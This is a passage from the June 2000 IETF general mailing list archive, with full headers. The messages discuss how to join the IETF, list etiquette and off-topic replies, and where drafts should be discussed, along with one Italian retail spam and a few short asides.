issues, but they are so fast in responding to non-tech and spam emails. Maybe
after typing some 'funny' response they can go home thinking they 'contributed'
something to IETF today. This is just my guess, I have no clue what drives some
people. I  notice that replies to spams and non-technical issues (that does not
require much thinking) always come quickly and come usually from people whose
names I never see otherwise in discussions. There are exceptions, but this is a
general observation.

You can reply to this email, but please DO NOT start any chain on this email, this
is not a spam. Use your time doing something useful.

Pankaj

Valdis.Kletnieks@vt.edu wrote:

> On Thu, 15 Jun 2000 07:19:25 PDT, Mark Atwood said:
> > "Yixin Zhu" <yixin@xybridge.com> writes:
> > >
> > > My company is interested in joining IETF and ITU-T standard body, Can some
> > > one here tell me what are the procedures and fees ?  Your help is greatly
> > > appreciated.
> >
> > IETF is easy. Join some mailing lists, have useful things to say,
> > and show up at the meetings.
>
> Hmm.. and here I thought the meetings were optional unless you were running
> for a WG chair or something?
>
> I happen to know that a number of other recognizable names on this list
> have never actually been seen at an IETF meeting.  If you've met me at
> an IETF meeting, it was an alien impostor. ;)
>
> --
>                                 Valdis Kletnieks
>                                 Operating Systems Analyst
>                                 Virginia Tech
>
>   ------------------------------------------------------------------------
>    Part 1.2Type: application/pgp-signature



From owner-ietf-outbound  Thu Jun 15 12:20:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA06673
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 12:20:02 -0400 (EDT)
Received: from zmamail03.zma.compaq.com (zmamail03.zma.compaq.com [161.114.64.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06152
	for <ietf@ietf.org>; Thu, 15 Jun 2000 12:07:03 -0400 (EDT)
Received: by zmamail03.zma.compaq.com (Postfix, from userid 12345)
	id 641A5627; Thu, 15 Jun 2000 12:06:35 -0400 (EDT)
Received: from excreo-gh01.reo.dec.com (excreo-gh01.reo.cpqcorp.net [16.41.128.40])
	by zmamail03.zma.compaq.com (Postfix) with ESMTP
	id 28A6D6F1; Thu, 15 Jun 2000 12:06:34 -0400 (EDT)
Received: by EXCREO-GH01 with Internet Mail Service (5.5.2650.21)
	id <MNX5DLGV>; Thu, 15 Jun 2000 17:06:31 +0100
Message-ID: <71C4C55F198BD211B24F0000F842F15807ED9ACE@reoexc6.reo.cpqcorp.net>
From: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
To: "'Kurt Weber'" <kurt@servuhome.net>,
        "Book, Robert" <Robert.BookIII@CWUSA.COM>
Cc: ietf@ietf.org
Subject: RE: CCIE 
Date: Thu, 15 Jun 2000 17:06:31 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

*Looking at my new AlphaServer GS320,32 CPU'S & 256 GB ECC RAM* :-)



-----Original Message-----
From: Kurt Weber [mailto:kurt@servuhome.net]
Sent: Thursday, June 15, 2000 3:58 PM
To: Book, Robert
Cc: ietf@ietf.org
Subject: Re: CCIE 


Man, I wish I had 8 megs of RAM ;-)

Regards,
Kurt Weber
kurt@rowsw.com
ROW Software and Web Design
http://www.rowsw.com

----- Original Message -----
From: "Book, Robert" <Robert.BookIII@cwusa.com>
To: "'Kurt Weber'" <kurt@servuhome.net>
Sent: Thursday, June 15, 2000 9:53 AM
Subject: RE: CCIE


> Kurt,
> Just an aside. Perhaps, onerous as the thought may be, it's time to
> upgrade from your '286 w/8MB of RAM and 20 MB harddrive. :-)But your point
> is well taken. There's been far too little on-topic conversations on this
> mailing list.
> Regards,
> Robert
>
> -----Original Message-----
> From: Kurt Weber [mailto:kurt@servuhome.net]
> Sent: Wednesday, June 14, 2000 11:08 PM
> To: Kevin Lahey
> Cc: ietf@ietf.org
> Subject: Re: CCIE
>
>
> OK...what was the point of that message?  It took me 7 minutes to download
> on a 56k modem.  Not all of us have 45-megabit connections.  If you want
to
> send it to him, fine, but please don't send that to everyone else.  It
> crashed my entire system five times just because it ran out of memory.
>
> Regards,
> Kurt Weber
> kurt@rowsw.com
> ROW Software and Web Design
> http://www.rowsw.com
>



From owner-ietf-outbound  Thu Jun 15 12:30:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA06940
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 12:30:05 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06629
	for <ietf@ietf.org>; Thu, 15 Jun 2000 12:19:36 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id JAA18408
	for <ietf@ietf.org>; Thu, 15 Jun 2000 09:19:03 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <M88H0JCF>; Thu, 15 Jun 2000 16:18:08 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D27E@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: "'IETF general mailing list'" <ietf@ietf.org>
Subject: pollem
Date: Thu, 15 Jun 2000 16:18:28 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

I looking for info on the s/w routine
"pollem"... (which is used for firewall monitoring.)
any pointers/urls ?
thanks

/pd



From owner-ietf-outbound  Thu Jun 15 12:40:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA07333
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 12:40:03 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06771
	for <ietf@ietf.org>; Thu, 15 Jun 2000 12:24:21 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5FGNmL26766;
	Thu, 15 Jun 2000 12:23:48 -0400
Message-Id: <200006151623.e5FGNmL26766@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.2 06/07/2000 with nmh-1.0.4+dev
To: Pankaj K Jha <pkj@cypress.com>
Cc: ietf@ietf.org
Subject: Mailing lists (was Re: IETF, ITU-T membership)
In-Reply-To: Your message of "Thu, 15 Jun 2000 08:55:52 PDT."
             <3948FC88.8BC58320@cypress.com> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <NDBBIFGHKLHKNCMEKGHAAEIKCBAA.yixin@xybridge.com> <m38zw758nm.fsf@flash.localdomain> <200006151426.e5FEQsL23962@black-ice.cc.vt.edu>
            <3948FC88.8BC58320@cypress.com>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-385673372P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 15 Jun 2000 12:23:47 -0400
X-Loop: ietf@ietf.org

--==_Exmh_-385673372P
Content-Type: text/plain; charset=us-ascii

On Thu, 15 Jun 2000 08:55:52 PDT, Pankaj K Jha said:
> It's truly irritating that people do not spend their time responding to technical
> issues, but they are so fast in responding to non-tech and spam emails. Maybe

Perhaps the replies to technical issues are just as fast, but are taking place
in other venues than the main IETF list.  I'll admit that I've not posted much
to the IETF-SMTP or IETF-822 mailing lists of late, but they've been pretty
quiet.  The big discussion regarding RFC1191 Path MTU Discovery is currently
over on the NANOG list (which isn't an IETF list, but that's where it's going
on at the moment).  I expect that technical discussion of Lahey's ietf-draft
regarding Path MTU Discovery will go on someplace else other than this list
as well.

On a related note, I noticed that IETF draft announcements do *NOT* list
a vector pointing to where discussion of the draft should be directed.
Although the author's address is available down in the draft, should there
be a 'Discussion regarding this draft should go to mailto:list@wherever'
field?

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech


--==_Exmh_-385673372P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.1.2 06/07/2000

iQA/AwUBOUkDE3At5Vm009ewEQI5RgCgp0uDQbVLWw7zjgPuN4AHKWAM708AoKjQ
bKL2TGosw4EC4xOZR6esd+im
=9Eke
-----END PGP SIGNATURE-----

--==_Exmh_-385673372P--



From owner-ietf-outbound  Thu Jun 15 12:50:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA07595
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 12:50:02 -0400 (EDT)
Received: from fep14-svc.tin.it (mta14-acc.tin.it [212.216.176.45])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07362
	for <ietf@ietf.org>; Thu, 15 Jun 2000 12:40:27 -0400 (EDT)
Received: from [192.168.1.2] ([213.45.202.166]) by fep14-svc.tin.it
          (InterMail vM.4.01.02.39 201-229-119-122) with SMTP
          id <20000615163956.ZDF7934.fep14-svc.tin.it@[192.168.1.2]>
          for <ietf@ietf.org>; Thu, 15 Jun 2000 18:39:56 +0200
From: Oliviero Abbigliamento <info@oliviero.it>
To: <ietf@ietf.org>
Subject: ASTA: Nike Air 180 a 1000 £.....
Message-Id: <20000615163956.ZDF7934.fep14-svc.tin.it@[192.168.1.2]>
Date: Thu, 15 Jun 2000 18:39:56 +0200
X-Loop: ietf@ietf.org


Se abbiamo colpito la tua curiosità, Ti invitiamo a venirci a trovare all'indirizzo http://www.oliviero.it.
Dal 10 Giugno abbiamo messo all'asta una Nike Air 180 a sole 1000 £ (Prezzo di vendita £ 209.000), puoi fare anche tu la tua offerta inserendo solamente il tuo indirizzo e-mail.
Da Oliviero troverai sempre nuovi prodotti messi all'asta, quindi non mancare...
Nei prossimi giorni troverai una polo LaCoste a 1000 £.
 
Oliviero Abbigliamento è : abbigliamento classico e sportivo, moda giovane e bambino, cerimonia uomo e donna, calzature,  biancheria per la casa e corredi,  biancheria e divise professionali per alberghi, ristoranti e bar, casalinghi,  attrezzature per ogni sport, elettrostimolatori etc etc.
Per informazioni: oliviero@oliviero.it
 

P.S. Se in futuro non desidera più ricevere segnalazioni delle nostre iniziative e promozioni sarà sufficiente inviare una e-mail all'indirizzo
info@oliviero.it con oggetto CANCELLAMI



From owner-ietf-outbound  Thu Jun 15 13:00:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA07965
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 13:00:03 -0400 (EDT)
Received: from apollo.dmnews.com (gw.dmnews.com [204.141.161.6])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07570
	for <ietf@ietf.org>; Thu, 15 Jun 2000 12:49:48 -0400 (EDT)
Received: by APOLLO with Internet Mail Service (5.5.2650.10)
	id <M8X8J3DH>; Thu, 15 Jun 2000 12:57:09 -0400
Message-ID: <983B9A17F5EBD311905600D0B73EA0DE03DA52@APOLLO>
From: Lillian Komlossy <Lillian@dmnews.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: fyi.. House Committee Passes Bill Limiting Spam E-Mail
Date: Thu, 15 Jun 2000 12:57:04 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.10)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFD6EA.BDB2D6AE"
X-Loop: ietf@ietf.org

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFD6EA.BDB2D6AE
Content-Type: text/plain;
	charset="iso-8859-1"

http://www.dmnews.com/articles/2000-06-12/8879.html
<http://www.dmnews.com/articles/2000-06-12/8879.html> 

Lillian Komlossy || Site Manager || http://www.dmnews.com
<http://www.dmnews.com/>  || http://www.imarketingnews.com
<http://www.imarketingnews.com/>  || 212 925-7300 ext. 232 ||
mailto:lillian@dmnews.com <mailto:lillian@dmnews.com> 

 

------_=_NextPart_001_01BFD6EA.BDB2D6AE
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.50.4030.2400" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT face=Verdana size=2><A 
href="http://www.dmnews.com/articles/2000-06-12/8879.html">http://www.dmnews.com/articles/2000-06-12/8879.html</A></FONT></DIV>
<P><FONT face=Arial color=#808080 size=1>Lillian Komlossy || Site Manager || <A 
target=_blank href="http://www.dmnews.com/">http://www.dmnews.com</A> || <A 
target=_blank 
href="http://www.imarketingnews.com/">http://www.imarketingnews.com</A> || 212 
925-7300 ext. 232 || <A 
href="mailto:lillian@dmnews.com">mailto:lillian@dmnews.com</A></FONT></P>
<DIV>&nbsp;</DIV></BODY></HTML>

------_=_NextPart_001_01BFD6EA.BDB2D6AE--



From owner-ietf-outbound  Thu Jun 15 13:10:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA08363
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 13:10:01 -0400 (EDT)
Received: from ztxmail03.ztx.compaq.com (ztxmail03.ztx.compaq.com [161.114.1.207])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08235
	for <ietf@ietf.org>; Thu, 15 Jun 2000 13:06:33 -0400 (EDT)
Received: by ztxmail03.ztx.compaq.com (Postfix, from userid 12345)
	id CE36192E; Thu, 15 Jun 2000 12:06:03 -0500 (CDT)
Received: from exchou-gh01.cca.cpqcorp.net (exchou-gh01.cca.cpqcorp.net [16.110.248.201])
	by ztxmail03.ztx.compaq.com (Postfix) with ESMTP
	id A75CB6E0; Thu, 15 Jun 2000 12:06:03 -0500 (CDT)
Received: by exchou-gh01.cca.cpqcorp.net with Internet Mail Service (5.5.2650.21)
	id <MNXPVHTW>; Thu, 15 Jun 2000 12:06:02 -0500
Message-ID: <202F03744BDCD31194270000F803CA9E76FD7E@cxoexc2.cxo.dec.com>
From: "Maddux, Michel" <Michel.Maddux@compaq.com>
To: "'Valdis.Kletnieks@vt.edu'" <Valdis.Kletnieks@vt.edu>,
        Pankaj K Jha <pkj@CYPRESS.COM>
Cc: ietf@ietf.org
Subject: RE: Mailing lists (was Re: IETF, ITU-T membership)
Date: Thu, 15 Jun 2000 12:05:59 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
X-Loop: ietf@ietf.org

on 15-June-2000, Valdis writes:

On a related note, I noticed that IETF draft announcements do *NOT* list
a vector pointing to where discussion of the draft should be directed.
Although the author's address is available down in the draft, should there
be a 'Discussion regarding this draft should go to mailto:list@wherever'
field?

[mam] This is a very good suggestion; some list servers add a mailto
automatically.  What's the chance up updated the I-D distribution to include
this type of response capability? thanks. /m.





From owner-ietf-outbound  Thu Jun 15 13:20:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA08852
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 13:20:01 -0400 (EDT)
Received: from dragonfly.ncdragonfly.com (dragonfly.ncdragonfly.com [209.137.27.201])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08292
	for <ietf@ietf.org>; Thu, 15 Jun 2000 13:08:22 -0400 (EDT)
Received: from HDAHTS66001 (216.5.191.144 [216.5.191.144]) by dragonfly.ncdragonfly.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3)
	id LDTWR96B; Thu, 15 Jun 2000 13:17:59 -0400
Reply-To: <dahigginbotham@ncdragonfly.com>
From: "David A. Higginbotham" <dahigginbotham@ncdragonfly.com>
To: <Valdis.Kletnieks@vt.edu>, "'Pankaj K Jha'" <pkj@cypress.com>
Cc: <ietf@ietf.org>
Subject: RE: Mailing lists (was Re: IETF, ITU-T membership)
Date: Thu, 15 Jun 2000 13:11:08 -0400
Message-ID: <BB2831D3689AD211B14C00104B14623B1E75DD@HAZEN04>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <BB2831D3689AD211B14C00104B14623B23C0BA@HAZEN04>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

I think that is an excellant idea, or do I make a poor assumption that the
author will always know where the discussion is taking place? Is there an
'authority' that knows where discussion for each and all drafts is taking
place? just curious.

David A. Higginbotham
Principal MIS
Hazen & Sawyer




-----Original Message-----
From: Valdis.Kletnieks@vt.edu [mailto:Valdis.Kletnieks@vt.edu]
Sent: Thursday, June 15, 2000 12:24 PM
To: Pankaj K Jha
Cc: ietf@ietf.org
Subject: Mailing lists (was Re: IETF, ITU-T membership)


On Thu, 15 Jun 2000 08:55:52 PDT, Pankaj K Jha said:
> It's truly irritating that people do not spend their time responding
to technical
> issues, but they are so fast in responding to non-tech and spam
emails. Maybe

Perhaps the replies to technical issues are just as fast, but are taking
place
in other venues than the main IETF list.  I'll admit that I've not
posted much
to the IETF-SMTP or IETF-822 mailing lists of late, but they've been
pretty
quiet.  The big discussion regarding RFC1191 Path MTU Discovery is
currently
over on the NANOG list (which isn't an IETF list, but that's where it's
going
on at the moment).  I expect that technical discussion of Lahey's
ietf-draft
regarding Path MTU Discovery will go on someplace else other than this
list
as well.

On a related note, I noticed that IETF draft announcements do *NOT* list
a vector pointing to where discussion of the draft should be directed.
Although the author's address is available down in the draft, should
there
be a 'Discussion regarding this draft should go to mailto:list@wherever'
field?

--
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Thu Jun 15 13:30:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA09226
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 13:30:03 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08536
	for <ietf@ietf.org>; Thu, 15 Jun 2000 13:15:10 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5FHF8L33050;
	Thu, 15 Jun 2000 13:15:08 -0400
Message-Id: <200006151715.e5FHF8L33050@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.2 06/16/2000 with nmh-1.0.4+dev
To: dahigginbotham@ncdragonfly.com
Cc: ietf@ietf.org
Subject: Re: Mailing lists (was Re: IETF, ITU-T membership) 
In-Reply-To: Your message of "Thu, 15 Jun 2000 13:11:08 EDT."
             <BB2831D3689AD211B14C00104B14623B1E75DD@HAZEN04> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <BB2831D3689AD211B14C00104B14623B1E75DD@HAZEN04>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_872906512P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 15 Jun 2000 13:15:07 -0400
X-Loop: ietf@ietf.org

--==_Exmh_872906512P
Content-Type: text/plain; charset=us-ascii

On Thu, 15 Jun 2000 13:11:08 EDT, "David A. Higginbotham" said:
> I think that is an excellant idea, or do I make a poor assumption that the
> author will always know where the discussion is taking place? Is there an
> 'authority' that knows where discussion for each and all drafts is taking
> place? just curious.

For many drafts, it's either the product of a working group, in which case
the address is known, or it's done as a private proposal, within the context
of a working group (some of the DNS I18N ones are in this category).

For other drafts, there may be a known mailing list that's a good place to
discuss it.

I would guess that the author should usuallly be able to suggest a venue -
if none is listed, it should probably default to the author's address.
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech


--==_Exmh_872906512P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.2 06/16/2000

iQA/AwUBOUkPG3At5Vm009ewEQKbUwCbB++DCp8aLhScfZv8TTz3Qkmh4k8AnR3i
Iy/kZSci2B8bdMLZg+YIaIsI
=r8UM
-----END PGP SIGNATURE-----

--==_Exmh_872906512P--



From owner-ietf-outbound  Thu Jun 15 13:40:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA09761
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 13:40:03 -0400 (EDT)
Received: from munnari.OZ.AU (munnari.OZ.AU [128.250.1.21])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09144
	for <ietf@ietf.org>; Thu, 15 Jun 2000 13:26:23 -0400 (EDT)
Received: from mundamutti.cs.mu.OZ.AU ([128.250.1.5])
	by munnari.OZ.AU with SMTP (5.83--+1.3.1+0.59) id RA29998;
	Fri, 16 Jun 2000 03:25:31 +1000 (from kre@munnari.OZ.AU)
From: Robert Elz <kre@munnari.OZ.AU>
To: "Maddux, Michel" <Michel.Maddux@compaq.com>
Cc: "'Valdis.Kletnieks@vt.edu'" <Valdis.Kletnieks@vt.edu>,
        Pankaj K Jha <pkj@CYPRESS.COM>, ietf@ietf.org
Subject: Re: Mailing lists (was Re: IETF, ITU-T membership) 
In-Reply-To: Your message of "Thu, 15 Jun 2000 12:05:59 EST."
             <202F03744BDCD31194270000F803CA9E76FD7E@cxoexc2.cxo.dec.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 16 Jun 2000 03:25:30 +1000
Message-Id: <1897.961089930@mundamutti.cs.mu.OZ.AU>
X-Loop: ietf@ietf.org

    Date:        Thu, 15 Jun 2000 12:05:59 -0500
    From:        "Maddux, Michel" <Michel.Maddux@compaq.com>
    Message-ID:  <202F03744BDCD31194270000F803CA9E76FD7E@cxoexc2.cxo.dec.com>

  | [mam] This is a very good suggestion; some list servers add a mailto
  | automatically.  What's the chance up updated the I-D distribution to include
  | this type of response capability? thanks. /m.

For WG drafts, the WG is already cc'd on the announcement - if you reply
to all the reply will go to the IETF announce group address (which your
mailer can't send to, and should just drop) and the WG mailing list.
It all just works.

For non WG drafts the secretariat would have to somehow figure out
the address to be inserted - the extra overhead of doing that just
isn't worth the bother - in many cases there's only the author anyway.
Anyone who has read the draft to have comments to send shouldn't find
it hard to extract the address from there and send the comments.

kre



From owner-ietf-outbound  Thu Jun 15 13:51:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA10054
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 13:50:02 -0400 (EDT)
Received: from torque.pothole.com ([38.138.52.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09733
	for <ietf@ietf.org>; Thu, 15 Jun 2000 13:39:49 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by torque.pothole.com (8.8.2/8.8.8) with SMTP id NAA08775;
	Thu, 15 Jun 2000 13:41:44 -0400 (EDT)
Message-Id: <200006151741.NAA08775@torque.pothole.com>
X-Authentication-Warning: torque.pothole.com: localhost [127.0.0.1] didn't use HELO protocol
To: "Yixin Zhu" <yixin@xybridge.com>, <ietf@ietf.org>
Subject: Re: IETF, ITU-T membership 
In-reply-to: Your message of "Thu, 15 Jun 2000 09:50:13 CDT."
             <a0431141cb56e9d43d214@resnick2.qualcomm.com> 
Date: Thu, 15 Jun 2000 13:41:44 -0400
From: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
X-Mts: smtp
X-Loop: ietf@ietf.org


However, your company can become an orgnaizational member of the
Internet Society which, to some extent, acts as an umbrella
organiztion for the IETF and pays for some IETF related activities.
See <http://www.isoc.org>.

Donald

From:  Pete Resnick <presnick@QUALCOMM.COM>
Message-Id:  <a0431141cb56e9d43d214@resnick2.qualcomm.com>
In-Reply-To:  <NDBBIFGHKLHKNCMEKGHAAEIKCBAA.yixin@xybridge.com>
References:  <NDBBIFGHKLHKNCMEKGHAAEIKCBAA.yixin@xybridge.com>
Date:  Thu, 15 Jun 2000 09:50:13 -0500
To:  "Yixin Zhu" <yixin@xybridge.com>
Cc:  <ietf@ietf.org>

>On 6/15/00 at 8:54 AM -0500, Yixin Zhu wrote:
>
>>My company is interested in joining IETF
>
>As a matter of fact, your company cannot join the IETF; the IETF is 
>made up of individuals, not companies.
>
>For an individual to join the IETF, just sign up for one of the IETF 
>mailing lists. See <http://www.ietf.org/join.html>
>
>pr
>-- 
>Pete Resnick <mailto:presnick@qualcomm.com>
>Eudora Engineering - QUALCOMM Incorporated
>



From owner-ietf-outbound  Thu Jun 15 14:00:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA10349
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 14:00:03 -0400 (EDT)
Received: from mailhost.IntNet.net (mailhost.IntNet.net [198.252.32.150])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA10176
	for <ietf@ietf.org>; Thu, 15 Jun 2000 13:53:43 -0400 (EDT)
Received: from jtoigo by mailhost.IntNet.net (8.8.5/INTNET/SMI-SVR4)
	id NAA19691; Thu, 15 Jun 2000 13:56:37 -0400 (EDT)
X-Auth: cs-clw-5-11.intnet.net [207.90.1.11]
Message-ID: <014e01bfd6f4$2f455360$dd9cfea9@jtoigo>
From: "Jon William Toigo" <jtoigo@IntNet.net>
To: <ietf@ietf.org>
Subject: Thanks to All
Date: Thu, 15 Jun 2000 14:04:30 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_014B_01BFD6D2.A0357F40"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_014B_01BFD6D2.A0357F40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I have been ignoring the spam and reading the threads here for some =
time.  I find this mail list invaluable as a means to contact technology =
experts for their opinions and insights and have never been put off by =
the humor in a few of the emails.

Right now I am very interested in storage over IP.  Various proposals =
are being worked on by Cisco, Adaptec and others which promise to =
provide a worthwhile infrastructure for data storage that obviates some =
of the shortcomings of Fibre Channel.  This is the only place where I =
can go to get information that is free of the myths and hyperbole in the =
market surrounding SANs and where the "holy war" of FC vs. GE has not =
taken hold.

Thanks to all.

Jon William Toigo
Independent Consultant and Author
The Holy Grail of Data Storage Management
www.toigoproductions.com
www.stormgt.org
www.drplanning.org


------=_NextPart_000_014B_01BFD6D2.A0357F40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I have been ignoring the spam and =
reading the=20
threads here for some time.&nbsp; I find this mail list invaluable as a =
means to=20
contact technology experts for their opinions and insights and have =
never been=20
put off by the humor in a few of the emails.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Right now I am very interested in =
storage over=20
IP.&nbsp; Various proposals are being worked on by Cisco, Adaptec and =
others=20
which promise to provide a worthwhile infrastructure for data storage =
that=20
obviates some of the shortcomings of Fibre Channel.&nbsp; This is the =
only place=20
where I can go to get information that is free of&nbsp;the myths and =
hyperbole=20
in the market surrounding SANs and where the "holy war" of FC vs. GE has =
not=20
taken hold.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks to all.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Jon William Toigo</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Independent Consultant and =
Author</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>The Holy Grail of Data Storage=20
Management</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://www.toigoproductions.com">www.toigoproductions.com</A></FO=
NT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://www.stormgt.org">www.stormgt.org</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://www.drplanning.org">www.drplanning.org</A></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_014B_01BFD6D2.A0357F40--



From owner-ietf-outbound  Thu Jun 15 15:50:28 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA13024
